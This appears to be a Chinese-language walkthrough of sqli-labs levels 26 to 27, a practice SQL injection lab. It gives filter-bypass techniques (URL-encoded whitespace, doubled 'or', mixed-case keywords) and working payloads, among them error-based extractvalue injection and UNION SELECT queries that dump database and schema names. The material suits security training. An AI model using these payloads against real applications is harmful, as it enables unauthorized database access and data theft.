Less-26
26关开始推荐使用linux下搭建的sqli-labs环境,因为涉及到绕过空格使用的解析字符问题,Windows环境会有问题
代码分析
空格的绕过方法:
+也可以代替空格
以下这些在windows+apache环境下解析会出问题???
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格(长payload出问题)原因不知
由于不能使用注释符,可以构造一个’payload’
1.基于布尔测试漏洞是否存在
2.使用报错注入或者时间盲注
0'+||extractvalue(1,concat(0x5c,version()))||'1'='1
#下边的注入过程替换报错语句内容即可,注意绕过or
Less26a
代码分析
构造payload
111')union%a0select%a01,database(),('3
#用%a0代替空格,database()可以替换成之前用的sql注入语句
爆破所有数据库名
100')union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata),('3
Less27
代码分析
100'unION%a0SelECT%a01,user(),3||'